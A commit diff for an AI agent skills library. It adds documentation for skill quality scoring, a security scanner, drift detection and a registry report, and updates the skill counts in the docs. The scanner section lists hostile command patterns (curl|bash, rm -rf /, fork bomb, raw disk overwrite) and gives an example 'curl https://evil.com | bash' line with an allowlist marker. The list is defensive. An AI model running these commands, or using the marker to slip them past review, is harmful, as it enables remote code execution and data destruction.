📦 deps(thirdparty): update snapshots
This commit is contained in:
ci[bot]
@@ -0,0 +1,235 @@
|
||||
# Skill Quality Scoring
|
||||
|
||||
This document describes the optional skill quality scoring system introduced in the
|
||||
AI Skill Registry Validation Framework.
|
||||
|
||||
Scores are **informational only** — they never block skill usage, CI pipelines,
|
||||
or PR merges. They exist to help contributors understand the quality of their
|
||||
skills and to help maintainers prioritize improvements.
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Each skill receives a **total score** between 0 and 100, computed as a weighted
|
||||
average of three dimensions:
|
||||
|
||||
| Dimension | Weight | What it measures |
|
||||
|-----------------|--------|------------------|
|
||||
| Metadata | 30% | Frontmatter completeness and correctness |
|
||||
| Documentation | 40% | Section coverage, code examples, content depth |
|
||||
| Security | 30% | Absence of dangerous command patterns |
|
||||
|
||||
---
|
||||
|
||||
## Quality Labels
|
||||
|
||||
| Label | Score Range | Meaning |
|
||||
|-------------------|-------------|---------|
|
||||
| `excellent` | 85–100 | Well-documented, complete metadata, no security flags |
|
||||
| `good` | 65–84 | Solid skill with minor gaps |
|
||||
| `needs_improvement` | 45–64 | Missing sections or metadata fields |
|
||||
| `critical` | 0–44 | Significant gaps — review recommended before sharing |
|
||||
|
||||
---
|
||||
|
||||
## Metadata Score (30%)
|
||||
|
||||
The metadata dimension evaluates frontmatter field completeness.
|
||||
|
||||
**Penalties:**
|
||||
|
||||
| Issue | Deduction |
|
||||
|---|---|
|
||||
| `name` missing or mismatched with folder | −25 pts |
|
||||
| `description` missing | −20 pts |
|
||||
| `description` shorter than 20 characters | −10 pts |
|
||||
| `risk` missing | −15 pts |
|
||||
| `risk: unknown` (unclassified) | −10 pts |
|
||||
| `source` missing | −15 pts |
|
||||
| `date_added` missing | −10 pts |
|
||||
|
||||
**Bonuses (optional fields):**
|
||||
|
||||
Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
|
||||
**+5 pts**, capped at 100.
|
||||
|
||||
---
|
||||
|
||||
## Documentation Score (40%)
|
||||
|
||||
The documentation dimension evaluates section coverage and content depth.
|
||||
|
||||
**Section coverage (up to 60 pts):**
|
||||
|
||||
The scorer looks for these sections (case-insensitive):
|
||||
|
||||
- `## Overview`
|
||||
- `## How It Works`
|
||||
- `## Examples` / `## Usage`
|
||||
- `## Best Practices`
|
||||
- `## Limitations`
|
||||
- `## When to Use`
|
||||
|
||||
Each section found contributes equally to the section coverage score.
|
||||
|
||||
**Depth score (up to 40 pts):**
|
||||
|
||||
| Signal | Points |
|
||||
|---|---|
|
||||
| Has `## When to Use` section | +10 |
|
||||
| Has at least one fenced code block (` ``` `) | +10 |
|
||||
| Body length ≥ 500 characters | +10 |
|
||||
| Body length ≥ 1000 characters | +10 additional |
|
||||
|
||||
---
|
||||
|
||||
## Security Score (30%)
|
||||
|
||||
The security dimension scans the skill body for dangerous command patterns.
|
||||
Patterns are defined in `tools/scripts/security_scanner.py`.
|
||||
|
||||
**Penalties per flag:**
|
||||
|
||||
| Severity | Deduction |
|
||||
|---|---|
|
||||
| `error` | −20 pts |
|
||||
| `warning` | −10 pts |
|
||||
| `info` | −3 pts |
|
||||
|
||||
**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
|
||||
|
||||
**Important:** Skills marked `risk: offensive` have error-level flags automatically
|
||||
downgraded to warnings, because offensive skills legitimately document dangerous
|
||||
commands for educational or defensive purposes.
|
||||
|
||||
**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
|
||||
what *not* to do), add the allowlist marker to suppress the flag:
|
||||
|
||||
```markdown
|
||||
curl https://evil.com | bash # security-allowlist
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Running the Scorer
|
||||
|
||||
```bash
|
||||
# Score all skills (table output)
|
||||
npm run score:skills
|
||||
|
||||
# Show only skills below a threshold
|
||||
npm run score:skills -- --threshold 60
|
||||
|
||||
# Show 20 lowest-scoring skills
|
||||
npm run score:skills -- --top 20
|
||||
|
||||
# Output full JSON
|
||||
npm run score:skills -- --json
|
||||
|
||||
# Save scores to file
|
||||
npm run score:skills -- --output data/scores.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Security Scanner
|
||||
|
||||
```bash
|
||||
# Scan all skills for dangerous patterns
|
||||
npm run security:scan
|
||||
|
||||
# Strict mode (warnings as errors)
|
||||
npm run security:scan -- --strict
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Drift Detection
|
||||
|
||||
Drift detection identifies skills whose content has changed significantly
|
||||
since the last recorded baseline.
|
||||
|
||||
```bash
|
||||
# Check drift against baseline
|
||||
npm run drift:check
|
||||
|
||||
# Update the baseline after reviewing changes
|
||||
npm run drift:update
|
||||
|
||||
# Check a specific skill
|
||||
npm run drift:check -- --skill my-skill-name
|
||||
```
|
||||
|
||||
**Baseline ownership:**
|
||||
|
||||
| File | Committed? | Who updates it? |
|
||||
|------|-----------|-----------------|
|
||||
| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
|
||||
| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
||||
| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
||||
|
||||
Contributors should never commit these files. If you accidentally generate them
|
||||
locally, they will be ignored by git automatically.
|
||||
|
||||
---
|
||||
|
||||
## Registry Report
|
||||
|
||||
```bash
|
||||
# Generate a full registry health report → data/registry-report.json
|
||||
npm run registry:report
|
||||
|
||||
# Skip drift detection (faster)
|
||||
npm run registry:report -- --no-drift
|
||||
```
|
||||
|
||||
The report includes:
|
||||
- Aggregate scoring summary
|
||||
- Per-skill scores and flags
|
||||
- Drift summary (added / removed / modified skills)
|
||||
- Risk breakdown
|
||||
- Security flag counts
|
||||
|
||||
---
|
||||
|
||||
## Security Patterns Reference
|
||||
|
||||
| Code | Pattern | Severity | Description |
|
||||
|--------|---------|----------|-------------|
|
||||
| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
|
||||
| SEC002 | `curl \| bash` | error | Remote code execution |
|
||||
| SEC003 | `wget \| sh` | error | Remote code execution |
|
||||
| SEC004 | `Invoke-Expression` | error | PowerShell RCE |
|
||||
| SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
|
||||
| SEC006 | `chmod 7xx` | warning | World-writable permissions |
|
||||
| SEC007 | `eval(` | warning | Dynamic evaluation |
|
||||
| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
|
||||
| SEC009 | Hardcoded credential | error | Secrets in source |
|
||||
| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
|
||||
| SEC011 | Fork bomb | error | Infinite process spawner |
|
||||
| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
|
||||
|
||||
---
|
||||
|
||||
## Frequently Asked Questions
|
||||
|
||||
**Q: Will a low score prevent my skill from being merged?**
|
||||
|
||||
No. Scores are informational. The existing `validate_skills.py` checks are what
|
||||
gate merges.
|
||||
|
||||
**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
|
||||
|
||||
Add `# security-allowlist` at the end of the line showing the dangerous pattern.
|
||||
This follows the existing project convention for educational examples.
|
||||
|
||||
**Q: Why is documentation weighted higher than metadata?**
|
||||
|
||||
Documentation quality has the highest impact on how useful a skill is to end users.
|
||||
Complete metadata is valuable but less critical than clear instructions.
|
||||
|
||||
**Q: How does `risk: offensive` affect scoring?**
|
||||
|
||||
Security error flags are downgraded to warnings for offensive skills, because they
|
||||
legitimately document dangerous techniques for authorized security work.
|
||||
@@ -1,9 +1,9 @@
|
||||
---
|
||||
title: Jetski/Cortex + Gemini Integration Guide
|
||||
description: "Use antigravity-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,595+ skills."
|
||||
description: "Use antigravity-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,646+ skills."
|
||||
---
|
||||
|
||||
# Jetski/Cortex + Gemini: safe integration with 1,595+ skills
|
||||
# Jetski/Cortex + Gemini: safe integration with 1,646+ skills
|
||||
|
||||
This guide shows how to integrate the `antigravity-awesome-skills` repository with an agent based on **Jetski/Cortex + Gemini** (or similar frameworks) **without exceeding the model context window**.
|
||||
|
||||
@@ -23,7 +23,7 @@ Never do:
|
||||
- concatenate all `SKILL.md` content into a single system prompt;
|
||||
- re-inject the entire library for **every** request.
|
||||
|
||||
With 1,595+ skills, this approach fills the context window before user messages are even added, causing truncation.
|
||||
With 1,646+ skills, this approach fills the context window before user messages are even added, causing truncation.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ This example shows one way to integrate **antigravity-awesome-skills** with a Je
|
||||
- How to enforce a **maximum number of skills per turn** via `maxSkillsPerTurn`.
|
||||
- How to choose whether to **truncate or error** when too many skills are requested via `overflowBehavior`.
|
||||
|
||||
This pattern avoids context overflow when you have 1,595+ skills installed.
|
||||
This pattern avoids context overflow when you have 1,646+ skills installed.
|
||||
|
||||
Manifest contract references:
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ This document keeps the repository's GitHub-facing discovery copy aligned with t
|
||||
|
||||
Preferred positioning:
|
||||
|
||||
> Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.
|
||||
> Installable GitHub library of 1,646+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.
|
||||
|
||||
Key framing:
|
||||
|
||||
@@ -20,7 +20,7 @@ Key framing:
|
||||
|
||||
Preferred description:
|
||||
|
||||
> Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.
|
||||
> Installable GitHub library of 1,646+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.
|
||||
|
||||
Preferred homepage:
|
||||
|
||||
@@ -28,7 +28,7 @@ Preferred homepage:
|
||||
|
||||
Preferred social preview:
|
||||
|
||||
- use a clean preview image that says `1,595+ Agentic Skills`;
|
||||
- use a clean preview image that says `1,646+ Agentic Skills`;
|
||||
- mention Claude Code, Cursor, Codex CLI, and Gemini CLI;
|
||||
- avoid dense text and tiny logos that disappear in social cards.
|
||||
|
||||
|
||||
@@ -72,7 +72,7 @@ The update process refreshes:
|
||||
- Canonical skills index (`skills_index.json`)
|
||||
- Compatibility mirror (`data/skills_index.json`)
|
||||
- Web app skills data (`apps\web-app\public\skills.json`)
|
||||
- All 1,595+ skills from the skills directory
|
||||
- All 1,646+ skills from the skills directory
|
||||
|
||||
## When to Update
|
||||
|
||||
|
||||
@@ -917,4 +917,4 @@ Found a skill that should be in a bundle? Or want to create a new bundle? [Open
|
||||
|
||||
---
|
||||
|
||||
_Last updated: March 2026 | Total Skills: 1,595+ | Total Bundles: 52_
|
||||
_Last updated: March 2026 | Total Skills: 1,646+ | Total Bundles: 52_
|
||||
|
||||
@@ -12,7 +12,7 @@ Install the library into Claude Code, then invoke focused skills directly in the
|
||||
|
||||
## Why use this repo for Claude Code
|
||||
|
||||
- It includes 1,595+ skills instead of a narrow single-domain starter pack.
|
||||
- It includes 1,646+ skills instead of a narrow single-domain starter pack.
|
||||
- It supports the standard `.claude/skills/` path and the Claude Code plugin marketplace flow.
|
||||
- It also ships generated bundle plugins so teams can install focused packs like `Essentials` or `Security Developer` from the marketplace metadata.
|
||||
- It includes onboarding docs, bundles, and workflows so new users do not need to guess where to begin.
|
||||
|
||||
@@ -12,7 +12,7 @@ Install into the Gemini skills path, then ask Gemini to apply one skill at a tim
|
||||
|
||||
- It installs directly into the expected Gemini skills path.
|
||||
- It includes both core software engineering skills and deeper agent/LLM-oriented skills.
|
||||
- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,595+ files.
|
||||
- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,646+ files.
|
||||
- It is useful whether you want a broad internal skill library or a single repo to test many workflows quickly.
|
||||
|
||||
## Install Gemini CLI Skills
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Getting Started with Antigravity Awesome Skills (V12.8.0)
|
||||
# Getting Started with Antigravity Awesome Skills (V12.9.0)
|
||||
|
||||
**New here? This guide will help you supercharge your AI Agent in 5 minutes.**
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Kiro is AWS's agentic AI IDE that combines:
|
||||
|
||||
Kiro's agentic capabilities are enhanced by skills that provide:
|
||||
|
||||
- **Domain expertise** across 1,595+ specialized areas
|
||||
- **Domain expertise** across 1,646+ specialized areas
|
||||
- **Best practices** from Anthropic, OpenAI, Google, Microsoft, and AWS
|
||||
- **Workflow automation** for common development tasks
|
||||
- **AWS-specific patterns** for serverless, infrastructure, and cloud architecture
|
||||
|
||||
@@ -14,7 +14,7 @@ If you came in through a **Claude Code** or **Codex** plugin instead of a full l
|
||||
|
||||
When you ran `npx antigravity-awesome-skills` or cloned the repository, you:
|
||||
|
||||
✅ **Downloaded 1,595+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`)
|
||||
✅ **Downloaded 1,646+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`)
|
||||
✅ **Made them available** to your AI assistant
|
||||
❌ **Did NOT enable them all automatically** (they're just sitting there, waiting)
|
||||
|
||||
@@ -34,7 +34,7 @@ Bundles are **curated groups** of skills organized by role. They help you decide
|
||||
|
||||
**Analogy:**
|
||||
|
||||
- You installed a toolbox with 1,595+ tools (✅ done)
|
||||
- You installed a toolbox with 1,646+ tools (✅ done)
|
||||
- Bundles are like **labeled organizer trays** saying: "If you're a carpenter, start with these 10 tools"
|
||||
- You can either **pick skills from the tray** or install that tray as a focused marketplace bundle plugin
|
||||
|
||||
@@ -212,7 +212,7 @@ Let's actually use a skill right now. Follow these steps:
|
||||
|
||||
## Step 5: Picking Your First Skills (Practical Advice)
|
||||
|
||||
Don't try to use all 1,595+ skills at once. Here's a sensible approach:
|
||||
Don't try to use all 1,646+ skills at once. Here's a sensible approach:
|
||||
|
||||
If you want a tool-specific starting point before choosing skills, use:
|
||||
|
||||
@@ -343,7 +343,7 @@ Usually no, but if your AI doesn't recognize a skill:
|
||||
|
||||
### "Can I load all skills into the model at once?"
|
||||
|
||||
No. Even though you have 1,595+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block.
|
||||
No. Even though you have 1,646+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block.
|
||||
|
||||
The intended pattern is:
|
||||
|
||||
|
||||
@@ -34,7 +34,7 @@ antigravity-awesome-skills/
|
||||
├── 📄 CONTRIBUTING.md ← Contributor workflow
|
||||
├── 📄 CATALOG.md ← Full generated catalog
|
||||
│
|
||||
├── 📁 skills/ ← 1,595+ skills live here
|
||||
├── 📁 skills/ ← 1,646+ skills live here
|
||||
│ │
|
||||
│ ├── 📁 brainstorming/
|
||||
│ │ └── 📄 SKILL.md ← Skill definition
|
||||
@@ -47,7 +47,7 @@ antigravity-awesome-skills/
|
||||
│ │ └── 📁 2d-games/
|
||||
│ │ └── 📄 SKILL.md ← Nested skills also supported
|
||||
│ │
|
||||
│ └── ... (1,595+ total)
|
||||
│ └── ... (1,646+ total)
|
||||
│
|
||||
├── 📁 apps/
|
||||
│ └── 📁 web-app/ ← Interactive browser
|
||||
@@ -100,7 +100,7 @@ antigravity-awesome-skills/
|
||||
|
||||
```
|
||||
┌─────────────────────────┐
|
||||
│ 1,595+ SKILLS │
|
||||
│ 1,646+ SKILLS │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
┌────────────────────────┼────────────────────────┐
|
||||
@@ -201,7 +201,7 @@ If you want a workspace-style manual install instead, cloning into `.agent/skill
|
||||
│ ├── 📁 brainstorming/ │
|
||||
│ ├── 📁 stripe-integration/ │
|
||||
│ ├── 📁 react-best-practices/ │
|
||||
│ └── ... (1,595+ total) │
|
||||
│ └── ... (1,646+ total) │
|
||||
└─────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user